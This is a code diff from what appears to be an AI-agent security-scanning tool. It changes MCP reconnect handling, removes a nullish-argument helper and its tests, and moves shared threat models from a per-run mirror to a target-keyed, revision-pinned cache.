# fresh session and keep serving. The flag stops a flapping server
# (one that dies again before serving any call) from reconnecting in
# a tight loop; there we give up and mark the connection dead. Later
# calls then short-circuit to the dead output without this task.
if self._closing:
raise
if not self._healed_without_progress:
logger.warning(
"MCP connection %r session died while idle; reconnecting once",
self._name,
)
if await self._reconnect():
logger.info(
"MCP connection %r reconnected after an idle death", self._name
)
self._healed_without_progress = True
continue
else:
logger.warning(
"MCP connection %r died again before serving a call; "
"marking it unavailable",
self._name,
)
self._mark_dead()
await self._safe_cleanup()
return
if request is None: # shutdown sentinel
return
outcome = await self._execute(request.job)
# A served call is real progress: clear the idle-heal guard so a future
# idle death is again allowed one reconnect.
self._healed_without_progress = False
if not request.future.done():
request.future.set_result(outcome)
self._pending.discard(request.future)
# -- run one job with reconnect-once + retry-once -------------------------
async def _execute(self, job: Job) -> _Outcome:
"""Run one job; on a session failure reconnect once and retry it once."""
if self._dead or self._server is None:
return _Outcome(dead=True)
try:
return _Outcome(value=await job(self._server))
except asyncio.CancelledError:
# For a supervised session a cancellation here is the transport scope
# dying under an in-flight call: a session death, not a real cancel
# (shutdown never cancels the task, it uses the sentinel). For an
# adopted session there is no such scope, so a cancel is real.
if not self._supervised or self._closing:
raise
logger.warning(
"MCP connection %r was cancelled mid-call (session died); reconnecting once",
self._name,
)
except Exception: # noqa: BLE001 - any call failure is treated as a session death
logger.warning(
"MCP connection %r failed mid-call; reconnecting once", self._name
)
if not await self._reconnect():
self._mark_dead()
return _Outcome(dead=True)
try:
return _Outcome(value=await job(self._server))
except asyncio.CancelledError:
if not self._supervised or self._closing:
raise
logger.warning(
"MCP connection %r was cancelled again after reconnect; marking it unavailable",
self._name,
)
self._mark_dead()
return _Outcome(dead=True)
except Exception: # noqa: BLE001 - any retry failure means the connection is dead
logger.warning(
"MCP connection %r failed again after reconnect; marking it unavailable",
self._name,
)
self._mark_dead()
return _Outcome(dead=True)
async def _reconnect(self) -> bool:
"""Rebuild and reconnect the session once, reusing the stored config/token."""
await self._safe_cleanup()
if self._config is None:
return False
try:
self._server = await self._open()
except asyncio.CancelledError:
if self._closing:
raise
logger.warning("MCP reconnect for %r was cancelled; giving up", self._name)
self._server = None
return False
except Exception:
logger.exception("MCP reconnect for %r failed", self._name)
self._server = None
return False
logger.info("MCP connection %r reconnected", self._name)
return True
async def _open(self) -> MCPServer:
"""Build and connect the SDK server, reusing the existing setup steps.
If ``connect()`` fails, the just-built server is cleaned up here on this
same task before the error propagates, so a failed connect never orphans
an MCP subprocess or half-open HTTP session.
"""
from strix.tools.mcp.client import _build_server
if self._config is None:
raise RuntimeError(f"MCP connection {self._name!r} has no config to connect")
server = _build_server(self._config)
try:
await server.connect() # type: ignore[no-untyped-call]
except BaseException:
with contextlib.suppress(Exception):
await server.cleanup() # type: ignore[no-untyped-call]
raise
return server
# -- helpers --------------------------------------------------------------
async def _safe_cleanup(self) -> None:
server = self._server
self._server = None
if server is None:
return
with contextlib.suppress(Exception):
await server.cleanup() # type: ignore[no-untyped-call]
def _report_ready(self, value: bool) -> None:
if self._ready is not None and not self._ready.done():
self._ready.set_result(value)
def _fail_pending(self) -> None:
for future in self._pending:
if not future.done():
future.set_result(_Outcome(dead=True))
self._pending.clear()
def _unavailable_message(self) -> str:
return (
f"MCP connection {self._name!r} is unavailable: its live session could "
"not be reached and a reconnect attempt failed. It is marked unavailable "
"for the rest of this run."
)

View File

@@ -14,8 +14,6 @@ from typing import Any
from agents import RunContextWrapper, function_tool
from strix.tools.nullish import clean_optional
logger = logging.getLogger(__name__)
@@ -113,9 +111,6 @@ def _filter_notes(
tags: list[str] | None = None,
search_query: str | None = None,
) -> list[dict[str, Any]]:
category = clean_optional(category)
search_query = clean_optional(search_query)
filtered: list[dict[str, Any]] = []
for note_id, note in _notes_storage.items():
if category and note.get("category") != category:

View File

@@ -1,23 +0,0 @@
"""Nullish argument values passed by models in place of omitting an argument.
Models frequently send the literal string ``"null"`` / ``"none"`` for an
optional filter argument instead of leaving it out. Taken at face value it is
a filter that matches nothing, so the call quietly returns no results.
"""
from __future__ import annotations
NULLISH_STRINGS = frozenset({"null", "none", "nil", "undefined"})
def is_nullish(value: object) -> bool:
"""Whether ``value`` is a string standing in for "no value"."""
return isinstance(value, str) and value.strip().lower() in NULLISH_STRINGS
def clean_optional(value: str | None) -> str | None:
"""Normalize an optional filter argument: nullish or blank becomes ``None``."""
if value is None or is_nullish(value):
return None
return value.strip() or None

View File

@@ -14,7 +14,6 @@ from typing import TYPE_CHECKING, Any, Literal
from agents import RunContextWrapper, function_tool
from strix.runtime.caido_handle import CaidoBootstrapHandle
from strix.tools.nullish import clean_optional
from strix.tools.proxy import caido_api
@@ -168,10 +167,6 @@ async def list_requests(
if client is None:
return _no_client()
httpql_filter = clean_optional(httpql_filter)
after = clean_optional(after)
scope_id = clean_optional(scope_id)
try:
connection = await _call(
client,
@@ -477,8 +472,6 @@ async def list_sitemap(
client = await _ctx_client(ctx)
if client is None:
return _no_client()
scope_id = clean_optional(scope_id)
parent_id = clean_optional(parent_id)
try:
payload = await _call(
client,

View File

@@ -16,8 +16,6 @@ from typing import Any
from agents import RunContextWrapper, function_tool
from strix.tools.nullish import clean_optional
logger = logging.getLogger(__name__)
@@ -1607,12 +1605,12 @@ def _do_list_reports(
caller_agent_id: str | None = None,
) -> dict[str, Any]:
errors: list[str] = []
severity = (clean_optional(severity) or "").lower() or None
severity = (severity or "").strip().lower() or None
if severity and severity not in _VALID_SEVERITIES:
errors.append(
f"Invalid severity: {severity!r}. Must be one of: {sorted(_VALID_SEVERITIES)}"
)
finding_class = (clean_optional(finding_class) or "").lower() or None
finding_class = (finding_class or "").strip().lower() or None
if finding_class and finding_class not in _VALID_FINDING_CLASSES:
errors.append(
f"Invalid finding_class: {finding_class!r}. "
@@ -1642,8 +1640,8 @@ def _do_list_reports(
r,
severity=severity,
finding_class=finding_class,
target=clean_optional(target),
search=clean_optional(search),
target=(target or "").strip() or None,
search=(search or "").strip() or None,
)
]
matched.sort(key=lambda r: (_report_severity_rank(r), str(r.get("id", ""))))

View File

@@ -1,29 +1,28 @@
"""Run-scoped threat models — mirrored to ``{state_dir}/threat_models.json``.
"""Target-scoped threat models — cached under ``~/.strix/threat-models``.
A threat model is the scan's shared answer to who the attacker is, where the
trust boundaries sit, and what counts as critical for the target. One agent
derives it and every other agent on the same run reads it back instead of
A threat model describes the target, not the scan: a host, an application, an
API, a repository, or whatever else the engagement is pointed at. It stays
valid across unrelated runs against the same target, so it is keyed by target
identity rather than by run id — one agent derives it, every later agent in
this run and in future runs against the same target reads it back instead of
re-deriving trust boundaries from scratch.
It does not outlive the scan. The mirror lives in the run's own state directory
and exists only so a resumed scan keeps the baseline its earlier agents agreed
on; a new scan against the same host or checkout starts with no model and
derives its own. Agents do spell one target several ways within a run — the URL
they were handed, the page they happen to be testing, a checkout path — so a
model is keyed by a normalized target identity to keep them converging on one
document instead of each starting a fresh one.
Where the target is a checkout, the model is additionally pinned to the git
revision, so a moved ``HEAD`` marks it stale. Black-box targets have no
revision to pin to; those age out instead.
"""
from __future__ import annotations
import asyncio
import hashlib
import json
import logging
import re
import subprocess
import tempfile
import threading
from datetime import UTC, datetime
from datetime import UTC, datetime, timedelta
from pathlib import Path
from typing import Any
from urllib.parse import urlsplit
@@ -36,19 +35,16 @@ from strix.core.agents import AgentCoordinator
logger = logging.getLogger(__name__)
_CACHE_DIR = Path.home() / ".strix" / "threat-models"
_MAX_MODEL_BYTES = 512 * 1024
_MIN_MODEL_CHARS = 400
_MIN_AMENDMENT_CHARS = 80
_MAX_AMENDMENTS = 40
_GIT_TIMEOUT_SECONDS = 10
_UNVERSIONED = "unversioned"
_MAX_AGE_DAYS = 14
_DEFAULT_PORTS = {"http": "80", "https": "443"}
_store_lock = threading.RLock()
# The whole store: target identity -> model. It holds exactly the models this
# scan derived, and is mirrored to the run's state directory for resume.
_MODELS: dict[str, dict[str, Any]] = {}
_store_path: Path | None = None
_cache_lock = threading.RLock()
_REQUIRED_SECTIONS = (
"overview",
@@ -99,7 +95,7 @@ def _remote_authority(target: str) -> str:
def _normalize_remote_target(target: str) -> str:
"""Collapse the spellings of one remote target onto a single key."""
"""Collapse the spellings of one remote target onto a single cache key."""
authority = _remote_authority(target)
if not authority:
return re.sub(r"\s+", " ", target.lower()).strip()
@@ -136,23 +132,30 @@ def _normalize_git_remote(remote: str) -> str:
return normalized.removesuffix(".git")
def _target_identity(target: str) -> str:
"""Return the stable identity a model is stored under.
def _target_identity(target: str) -> tuple[str, str]:
"""Return the (stable identity, revision) pair a cached model is keyed on.
A checkout is keyed on its remote, so the same repository checked out at
two paths shares one model and a subdirectory resolves to the whole tree.
Everything else — a host, a URL, an API base, a named scope — is keyed on
its normalized form. Both routes run through the same normalization, so a
checkout and the URL it was cloned from land on one key.
A checkout is keyed on its remote (so the same repository cloned to two
paths shares one model, and a subdirectory resolves to the whole tree) and
pinned to ``HEAD``. Everything else — a host, a URL, an API base, a named
scope — is keyed on its normalized form and carries no revision. Both
routes run through the same normalization, so a checkout and the URL it
was cloned from land on one key.
"""
directory = _local_directory(target)
if directory is None:
return _normalize_remote_target(target).removesuffix(".git")
return _normalize_remote_target(target).removesuffix(".git"), _UNVERSIONED
remote = _git(directory, ["config", "--get", "remote.origin.url"])
revision = _git(directory, ["rev-parse", "HEAD"]) or _UNVERSIONED
if remote:
return _normalize_git_remote(remote)
return _normalize_git_remote(remote), revision
toplevel = _git(directory, ["rev-parse", "--show-toplevel"])
return toplevel or str(directory)
return toplevel or str(directory), revision
def _cache_path(identity: str) -> Path:
digest = hashlib.sha256(identity.encode("utf-8")).hexdigest()[:16]
return _CACHE_DIR / f"{digest}.json"
def _snap_to_scan_target(raw: str, scan_targets: list[str]) -> str:
@@ -160,13 +163,13 @@ def _snap_to_scan_target(raw: str, scan_targets: list[str]) -> str:
Agents name the same target differently — one passes the URL it was given,
the next the page it happens to be testing, a third the checkout path. Left
alone those become separate keys, every lookup misses, and each agent
alone those become separate cache keys, every lookup misses, and each agent
quietly derives its own model, which is the exact failure the shared model
exists to prevent. So a target that is recognisably one of the scan's own
targets is resolved to that target instead.
"""
identity = _target_identity(raw)
scoped = [(target, _target_identity(target)) for target in scan_targets]
identity, _ = _target_identity(raw)
scoped = [(target, _target_identity(target)[0]) for target in scan_targets]
if any(known == identity for _, known in scoped):
return raw
@@ -205,51 +208,38 @@ def _resolve_target(
return (_snap_to_scan_target(raw, known) if known else raw), None
def hydrate_threat_models_from_disk(state_dir: Path) -> None:
"""Point the store at this run's mirror and load whatever it already holds.
A resumed scan is the same scan, so its agents have to keep the baseline
the earlier ones agreed on. The mirror lives under the run directory, so a
different scan never reads it.
"""
global _store_path # noqa: PLW0603
_store_path = state_dir / "threat_models.json"
with _store_lock:
_MODELS.clear()
if not _store_path.is_file():
return
try:
data = json.loads(_store_path.read_text(encoding="utf-8"))
except (OSError, json.JSONDecodeError):
logger.exception(
"threat_models.json at %s is unreadable; starting with no models",
_store_path,
)
return
if not isinstance(data, dict):
return
_MODELS.update(
{
identity: model
for identity, model in data.items()
if isinstance(identity, str) and isinstance(model, dict)
}
)
logger.info("threat models hydrated from %s (%d)", _store_path, len(_MODELS))
def _persist_locked() -> None:
"""Mirror the store to disk. Callers must already hold ``_store_lock``.
Serializing and renaming in one critical section keeps a writer holding an
older serialization from winning the rename and dropping a concurrent
agent's model or amendment.
"""
path = _store_path
if path is None:
return
def _is_expired(created_at: str | None) -> bool:
if not created_at:
return True
try:
created = datetime.fromisoformat(created_at)
except ValueError:
return True
if created.tzinfo is None:
created = created.replace(tzinfo=UTC)
return datetime.now(UTC) - created > timedelta(days=_MAX_AGE_DAYS)
def _missing_sections(content: str) -> list[str]:
lowered = content.lower()
return [section for section in _REQUIRED_SECTIONS if section not in lowered]
def _read_cache(path: Path) -> dict[str, Any] | None:
"""Load a cached model. Callers must already hold ``_cache_lock``."""
if not path.is_file():
return None
try:
cached = json.loads(path.read_text(encoding="utf-8"))
except (OSError, json.JSONDecodeError):
logger.exception("threat model cache at %s is unreadable", path)
return None
return cached if isinstance(cached, dict) else None
def _write_cache(path: Path, payload: dict[str, Any]) -> str | None:
"""Atomically persist a model. Callers must already hold ``_cache_lock``."""
try:
payload = json.dumps(_MODELS, ensure_ascii=False, default=str)
path.parent.mkdir(parents=True, exist_ok=True)
with tempfile.NamedTemporaryFile(
mode="w",
@@ -259,61 +249,85 @@ def _persist_locked() -> None:
suffix=".tmp",
delete=False,
) as tmp:
tmp.write(payload)
tmp.write(json.dumps(payload, ensure_ascii=False))
tmp_path = Path(tmp.name)
tmp_path.replace(path)
except OSError:
logger.exception("threat model mirror to %s failed", path)
except OSError as exc:
logger.exception("threat model persist to %s failed", path)
return f"Failed to persist threat model: {exc}"
return None
def _missing_sections(content: str) -> list[str]:
lowered = content.lower()
return [section for section in _REQUIRED_SECTIONS if section not in lowered]
def _amendments_of(model: dict[str, Any]) -> list[dict[str, Any]]:
raw = model.get("amendments")
def _amendments_of(cached: dict[str, Any]) -> list[dict[str, Any]]:
raw = cached.get("amendments")
if not isinstance(raw, list):
return []
return [item for item in raw if isinstance(item, dict)]
def _not_found(identity: str) -> dict[str, Any]:
def _not_found(identity: str, revision: str) -> dict[str, Any]:
return {
"success": True,
"found": False,
"target": identity,
"revision": revision,
"message": (
"No threat model for this target on this scan. Nothing carries over "
"from other scans, so derive one — from the code if you have it, from "
"recon output if you do not — and share it with save_threat_model, so "
"every agent on this scan works from one view of the trust boundaries "
"instead of each inventing their own."
"No threat model cached for this target. Derive one — from the code if "
"you have it, from recon output if you do not — and persist it with "
"save_threat_model, so every agent on this scan shares one view of the "
"trust boundaries instead of each inventing their own."
),
}
def _staleness(cached: dict[str, Any], revision: str) -> tuple[bool, str | None]:
"""Decide whether a cached model can still be trusted, and why not."""
if revision != _UNVERSIONED:
if cached.get("revision") == revision:
return False, None
return True, (
"This model was derived against a different revision. Use it as a "
"starting point, re-check the boundaries it names against the current "
"tree, and save the corrected version."
)
created_at = cached.get("created_at")
if not _is_expired(created_at if isinstance(created_at, str) else None):
return False, None
return True, (
f"This model is more than {_MAX_AGE_DAYS} days old and there is no revision "
"to pin it to, so the target may have moved under it. Treat its surface "
"inventory as a lead list to re-confirm during recon, not as fact, and save "
"the corrected version."
)
def _get_impl(target: str, scan_targets: list[str] | None = None) -> dict[str, Any]:
resolved, error = _resolve_target(target, scan_targets)
if resolved is None:
return {"success": False, "error": error}
identity = _target_identity(resolved)
with _store_lock:
model = _MODELS.get(identity)
if model is None:
return _not_found(identity)
content = model.get("content")
amendments = list(_amendments_of(model))
identity, revision = _target_identity(resolved)
path = _cache_path(identity)
with _cache_lock:
cached = _read_cache(path)
if cached is None:
return _not_found(identity, revision)
content = cached.get("content")
if not isinstance(content, str) or not content.strip():
return _not_found(identity)
return _not_found(identity, revision)
stale, stale_message = _staleness(cached, revision)
result: dict[str, Any] = {
"success": True,
"found": True,
"target": identity,
"revision": revision,
"cached_revision": cached.get("revision"),
"created_at": cached.get("created_at"),
"stale": stale,
"content": content,
}
amendments = _amendments_of(cached)
if amendments:
result["amendments"] = amendments
result["amendments_note"] = (
@@ -321,6 +335,8 @@ def _get_impl(target: str, scan_targets: list[str] | None = None) -> dict[str, A
"correct or extend it and have not been folded in yet - read them as "
"part of the model, and prefer the later one where they conflict."
)
if stale_message:
result["message"] = stale_message
return result
@@ -360,21 +376,25 @@ def _save_impl(
),
}
identity = _target_identity(resolved)
with _store_lock:
existing = _MODELS.get(identity)
identity, revision = _target_identity(resolved)
path = _cache_path(identity)
payload: dict[str, Any] = {
"target": identity,
"revision": revision,
"created_at": datetime.now(UTC).isoformat(),
"created_by": agent_name,
"content": body,
}
with _cache_lock:
existing = _read_cache(path)
folded = len(_amendments_of(existing)) if existing else 0
_MODELS[identity] = {
"target": identity,
"written_at": datetime.now(UTC).isoformat(),
"written_by": agent_name,
"content": body,
}
_persist_locked()
error = _write_cache(path, payload)
if error:
return {"success": False, "error": error}
message = (
"Threat model shared with this scan. Subagents should call get_threat_model "
"before they start, and treat its trust boundaries as the shared baseline."
"Threat model saved. Subagents should call get_threat_model before they "
"start, and treat its trust boundaries as the shared baseline."
)
if folded:
message += (
@@ -384,35 +404,34 @@ def _save_impl(
return {
"success": True,
"target": identity,
"revision": revision,
"amendments_cleared": folded,
"message": message,
}
def _append_amendment(
identity: str, amendment: dict[str, Any]
path: Path, amendment: dict[str, Any]
) -> tuple[list[dict[str, Any]] | None, str | None]:
"""Add an amendment to the stored model. Returns (amendments, error)."""
with _store_lock:
model = _MODELS.get(identity)
if model is None or not str(model.get("content", "")).strip():
"""Add an amendment to the cached model. Returns (amendments, error)."""
with _cache_lock:
cached = _read_cache(path)
if cached is None or not str(cached.get("content", "")).strip():
return None, (
"No threat model exists for this target yet, so there is nothing to "
"amend. Derive the base model and call save_threat_model instead."
)
amendments = _amendments_of(model)
amendments = _amendments_of(cached)
if len(amendments) >= _MAX_AMENDMENTS:
return None, (
f"This model already carries {len(amendments)} amendments. Fold them "
"into the base model with save_threat_model before adding more."
)
candidate = [*amendments, amendment]
sized = {**model, "amendments": candidate}
if len(json.dumps(sized, ensure_ascii=False).encode("utf-8")) > _MAX_MODEL_BYTES:
amendments.append(amendment)
cached["amendments"] = amendments
if len(json.dumps(cached, ensure_ascii=False).encode("utf-8")) > _MAX_MODEL_BYTES:
return None, "Threat model with this amendment exceeds 512KB; tighten it."
model["amendments"] = candidate
_persist_locked()
return candidate, None
return amendments, _write_cache(path, cached)
def _amend_impl(
@@ -436,12 +455,13 @@ def _amend_impl(
),
}
identity = _target_identity(resolved)
identity, revision = _target_identity(resolved)
amendments, amend_error = _append_amendment(
identity,
_cache_path(identity),
{
"at": datetime.now(UTC).isoformat(),
"by": agent_name,
"revision": revision,
"content": body,
},
)
@@ -451,6 +471,7 @@ def _amend_impl(
return {
"success": True,
"target": identity,
"revision": revision,
"amendment_count": len(amendments),
"message": (
"Amendment recorded. Agents calling get_threat_model will now see it "
@@ -479,25 +500,25 @@ def _scan_targets(ctx: RunContextWrapper) -> list[str]:
@function_tool(timeout=30)
async def get_threat_model(ctx: RunContextWrapper, target: str) -> str:
"""Read this scan's threat model for a target, if an agent has derived one.
"""Read the cached threat model for a target, if one exists.
The threat model is this run's shared answer to who the attacker
is, where the trust boundaries sit, and what counts as critical
here. Call it before you start hunting so you inherit the shared
view instead of re-deriving it, and so every agent on this run
agrees on what "attacker-controlled" means.
It is scoped to this scan and nothing is carried over from an
earlier run, so an empty result means no agent has derived one yet.
A threat model belongs to the target, not to this scan — the same
trust boundaries hold across unrelated runs against the same host
or application. Call this before you start hunting so you inherit
the shared view instead of re-deriving it, and so every agent on
this run agrees on what "attacker-controlled" means here.
Works black-box or white-box. The target can be a host, a URL, an
API base, or a repository path; equivalent spellings of the same
host resolve to the same model, and a checkout resolves to its
remote, so a model derived white-box by one agent is read back by
another testing the deployment.
remote, so a model derived white-box is read back by a black-box
agent testing the deployment.
Returns ``found: false`` when nothing has been derived yet — derive
one and share it with ``save_threat_model``.
Returns ``found: false`` when nothing is cached — derive one and
persist it with ``save_threat_model``. ``stale: true`` means the
checkout moved to a different revision, or that a model with no
revision to pin to has aged out: use it as a starting point,
re-confirm what it claims, and save the corrected version.
Any ``amendments`` in the response are corrections other agents
recorded after the base model was written. They are part of the
@@ -519,10 +540,10 @@ async def get_threat_model(ctx: RunContextWrapper, target: str) -> str:
@function_tool(timeout=30)
async def save_threat_model(ctx: RunContextWrapper, target: str, content: str) -> str:
"""Share a target-scoped threat model with the other agents on this scan.
"""Persist a target-scoped threat model for reuse by other agents.
The model lives for this run only — it is not written to disk and a
later scan of the same host or tree starts without it.
Keyed by target identity, so a later scan of the same host or tree
reads it back instead of paying to derive it again.
**This replaces the whole document, and clears any amendments** —
it is for the agent establishing the baseline (normally root,
@@ -540,9 +561,9 @@ async def save_threat_model(ctx: RunContextWrapper, target: str, content: str) -
necessarily provisional — say which parts are inferred rather than
observed, and let later agents amend it as the picture fills in.
**Scope it to the target, not to your slice of it.** Do not centre
it on the diff you were handed, the subsystem you were assigned, or
the one host that happened to answer first. With source, distinguish
**Scope it to the target, not to this scan.** Do not centre it on
the diff you were handed, the subsystem you were assigned, or the
one host that happened to answer first. With source, distinguish
real product and runtime surfaces from test, docs, example, and
developer-tooling paths — in a monorepo, do not let ``tests/`` or
one-off scripts become the centre of gravity unless the code shows

View File

@@ -1,26 +0,0 @@
"""Shared test fixtures."""
from __future__ import annotations
import pytest
@pytest.fixture(autouse=True)
def _isolate_mcp_config(
monkeypatch: pytest.MonkeyPatch, tmp_path_factory: pytest.TempPathFactory
) -> None:
"""Keep the whole suite from reading the developer's real MCP config.
``run_strix_scan`` connects the MCP servers listed in
``~/.strix/mcp-servers.json`` and threads an inventory of them into the
prompt context. Without isolation, any test that drives the runner on a
machine that has a real config would do real network I/O and see MCP
connections it never asked for. Point the loader at a path that does not
exist so it resolves to "no connections", and clear the per-run selection
env vars. Tests that exercise the loader itself set their own
``STRIX_MCP_CONFIG`` after this runs and so override it.
"""
missing = tmp_path_factory.mktemp("mcp-isolation") / "no-servers.json"
monkeypatch.setenv("STRIX_MCP_CONFIG", str(missing))
monkeypatch.delenv("STRIX_MCP_ONLY", raising=False)
monkeypatch.delenv("STRIX_MCP_EXCLUDE", raising=False)

View File

@@ -9,30 +9,24 @@ import pytest
from agents.tool import FunctionTool
from strix.agents import factory
from strix.tools.notes.tools import list_notes
from strix.tools.reporting.tool import list_reports
def _capturing_tool(
captured: dict[str, str], schema: dict[str, Any], name: str = "probe"
) -> FunctionTool:
def _capturing_tool(captured: dict[str, str], schema: dict[str, Any]) -> FunctionTool:
async def invoke(_ctx: Any, raw_input: str) -> str:
captured["raw_input"] = raw_input
return "ok"
return FunctionTool(
name=name,
name="probe",
description="test tool",
params_json_schema={"type": "object", "properties": schema},
on_invoke_tool=invoke,
)
async def _roundtrip(
schema: dict[str, Any], payload: dict[str, Any], name: str = "probe"
) -> dict[str, Any]:
async def _roundtrip(schema: dict[str, Any], payload: dict[str, Any]) -> dict[str, Any]:
captured: dict[str, str] = {}
wrapped = factory._with_coerced_arguments(_capturing_tool(captured, schema, name))
wrapped = factory._with_coerced_arguments(_capturing_tool(captured, schema))
assert await wrapped.on_invoke_tool(cast("Any", None), json.dumps(payload)) == "ok"
return cast("dict[str, Any]", json.loads(captured["raw_input"]))
@@ -150,88 +144,3 @@ async def test_coercion_is_applied_once_per_tool() -> None:
tool = factory._with_coerced_arguments(_capturing_tool(captured, _ARRAY))
assert factory._with_coerced_arguments(tool) is tool
_NULLABLE_STRING = {"category": {"anyOf": [{"type": "string"}, {"type": "null"}]}}
_NULLABLE_CONTENT = {"content": {"anyOf": [{"type": "string"}, {"type": "null"}]}}
_NULLABLE_STRING_TYPE_LIST = {"category": {"type": ["string", "null"]}}
@pytest.mark.asyncio
@pytest.mark.parametrize("schema", [_NULLABLE_STRING, _NULLABLE_STRING_TYPE_LIST])
@pytest.mark.parametrize("value", ["null", "none", "NULL", " None ", "nil", "undefined"])
async def test_nullish_string_on_a_nullable_parameter_becomes_none(
schema: dict[str, Any], value: str
) -> None:
parsed = await _roundtrip(schema, {"category": value}, "list_probes")
assert parsed["category"] is None
@pytest.mark.asyncio
async def test_nullish_string_on_a_required_parameter_is_untouched() -> None:
schema = {"content": {"type": "string"}}
captured: dict[str, str] = {}
tool = _capturing_tool(captured, schema, "list_probes")
tool.params_json_schema["required"] = ["content"]
wrapped = factory._with_coerced_arguments(tool)
assert await wrapped.on_invoke_tool(cast("Any", None), json.dumps({"content": "none"})) == "ok"
assert json.loads(captured["raw_input"])["content"] == "none"
@pytest.mark.asyncio
async def test_a_parameter_absent_from_required_is_treated_as_nullable() -> None:
captured: dict[str, str] = {}
tool = _capturing_tool(captured, {"category": {"type": "string"}}, "list_probes")
tool.params_json_schema["required"] = []
wrapped = factory._with_coerced_arguments(tool)
assert await wrapped.on_invoke_tool(cast("Any", None), json.dumps({"category": "null"})) == "ok"
assert json.loads(captured["raw_input"])["category"] is None
@pytest.mark.asyncio
async def test_nullish_string_without_a_required_list_is_untouched() -> None:
parsed = await _roundtrip(_STRING, {"todos": "none"}, "list_probes")
assert parsed["todos"] == "none"
@pytest.mark.asyncio
@pytest.mark.parametrize("name", ["update_note", "create_note", "record_coverage"])
@pytest.mark.parametrize("value", ["null", "none"])
async def test_a_nullish_value_survives_on_a_tool_that_writes(name: str, value: str) -> None:
parsed = await _roundtrip(_NULLABLE_CONTENT, {"content": value}, name)
assert parsed["content"] == value
@pytest.mark.asyncio
async def test_nullish_looking_content_is_not_coerced() -> None:
parsed = await _roundtrip(
_NULLABLE_STRING, {"category": "none of the endpoints reflect input"}, "list_probes"
)
assert parsed["category"] == "none of the endpoints reflect input"
@pytest.mark.asyncio
async def test_empty_string_on_a_nullable_string_parameter_is_untouched() -> None:
parsed = await _roundtrip(_NULLABLE_STRING, {"category": ""})
assert parsed["category"] == ""
@pytest.mark.asyncio
async def test_nullish_string_on_a_nullable_array_parameter_becomes_none() -> None:
parsed = await _roundtrip(_NULLABLE_ARRAY, {"tags": "null"}, "list_probes")
assert parsed["tags"] is None
def test_real_tool_schemas_declare_optional_filters_as_nullable() -> None:
for tool, params in ((list_notes, ("category", "search")), (list_reports, ("target",))):
schema = tool.params_json_schema
for param in params:
assert factory._is_nullable(param, schema["properties"][param], schema)

View File

@@ -2,12 +2,11 @@
from __future__ import annotations
import time
from typing import TYPE_CHECKING, Any
import pytest
from strix.config import codex, opencode
from strix.config import codex
from strix.interface import auth_cli
@@ -105,60 +104,3 @@ def test_login_accepts_provider_aliases(provider: str, monkeypatch: pytest.Monke
assert auth_cli.run_auth(["login", provider]) == 0
assert reached["flow"] is True
@pytest.mark.parametrize("provider", ["opencode", "OpenCode", "opencode-go", "zen"])
def test_login_accepts_opencode_aliases(provider: str, monkeypatch: pytest.MonkeyPatch) -> None:
reached = {"login": False}
def _fake_login(_console: Any) -> int:
reached["login"] = True
return 0
monkeypatch.setattr(auth_cli, "_login_opencode", _fake_login)
assert auth_cli.run_auth(["login", provider]) == 0
assert reached["login"] is True
def test_login_opencode_validates_and_saves(monkeypatch: pytest.MonkeyPatch) -> None:
saved: dict[str, str] = {}
monkeypatch.setattr("rich.console.Console.input", lambda _self, *_a, **_k: " sk-oc-test ")
monkeypatch.setattr(opencode, "validate_api_key", lambda key: saved.setdefault("checked", key))
monkeypatch.setattr(opencode, "save_api_key", lambda key: saved.setdefault("key", key))
assert auth_cli.run_auth(["login", "opencode"]) == 0
assert saved == {"checked": "sk-oc-test", "key": "sk-oc-test"}
def test_login_opencode_rejects_bad_key(monkeypatch: pytest.MonkeyPatch) -> None:
monkeypatch.setattr("rich.console.Console.input", lambda _self, *_a, **_k: "bad")
def _reject(_key: str) -> None:
raise opencode.OpencodeAuthError("invalid_key")
monkeypatch.setattr(opencode, "validate_api_key", _reject)
assert auth_cli.run_auth(["login", "opencode"]) == 1
assert opencode.is_authenticated() is False
def test_logout_provider_scoped() -> None:
codex.save_record(
{
"type": "oauth",
"provider": "codex",
"access": "a",
"refresh": "r",
"account_id": "acct",
"expires_at": time.time() + 3600,
}
)
opencode.save_api_key("sk-oc-test")
assert auth_cli.run_auth(["logout", "opencode"]) == 0
assert opencode.is_authenticated() is False
assert codex.is_authenticated() is True
assert auth_cli.run_auth(["logout"]) == 0
assert codex.is_authenticated() is False
assert auth_cli.run_auth(["logout", "bogus"]) == 2

View File

@@ -1,88 +0,0 @@
"""Tests for the --mcp-config CLI flag."""
from __future__ import annotations
import importlib
import os
import sys
from types import SimpleNamespace
from typing import TYPE_CHECKING, Any
import pytest
if TYPE_CHECKING:
from pathlib import Path
cli_main: Any = importlib.import_module("strix.interface.main")
def _stub_settings(monkeypatch: pytest.MonkeyPatch) -> None:
monkeypatch.setattr(
cli_main,
"load_settings",
lambda: SimpleNamespace(runtime=SimpleNamespace(max_local_copy_mb=1024)),
)
def test_mcp_config_flag_sets_loader_override(
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
) -> None:
config = tmp_path / "servers.json"
config.write_text("[]", encoding="utf-8")
_stub_settings(monkeypatch)
# delenv records "originally absent" so monkeypatch removes whatever the
# parser sets, keeping the override from leaking into other tests.
monkeypatch.delenv("STRIX_MCP_CONFIG", raising=False)
monkeypatch.setattr(
sys, "argv", ["strix", "-t", "https://test.com/", "-n", "--mcp-config", str(config)]
)
args = cli_main.parse_arguments()
assert args.mcp_config == str(config)
assert os.environ["STRIX_MCP_CONFIG"] == str(config)
def test_mcp_config_flag_rejects_missing_file(
tmp_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str]
) -> None:
_stub_settings(monkeypatch)
monkeypatch.delenv("STRIX_MCP_CONFIG", raising=False)
missing = tmp_path / "nope.json"
monkeypatch.setattr(
sys, "argv", ["strix", "-t", "https://test.com/", "-n", "--mcp-config", str(missing)]
)
with pytest.raises(SystemExit):
cli_main.parse_arguments()
assert "--mcp-config file not found" in capsys.readouterr().err
def test_mcp_server_flags_set_selection_env(monkeypatch: pytest.MonkeyPatch) -> None:
_stub_settings(monkeypatch)
monkeypatch.delenv("STRIX_MCP_ONLY", raising=False)
monkeypatch.delenv("STRIX_MCP_EXCLUDE", raising=False)
monkeypatch.setattr(
sys,
"argv",
[
"strix",
"-t",
"https://test.com/",
"-n",
"--mcp-server",
"a",
"--mcp-server",
"b",
"--mcp-exclude",
"c",
],
)
cli_main.parse_arguments()
assert os.environ["STRIX_MCP_ONLY"] == "a,b"
assert os.environ["STRIX_MCP_EXCLUDE"] == "c"

View File

@@ -228,10 +228,7 @@ def test_resume_still_requires_targets_or_a_workspace(
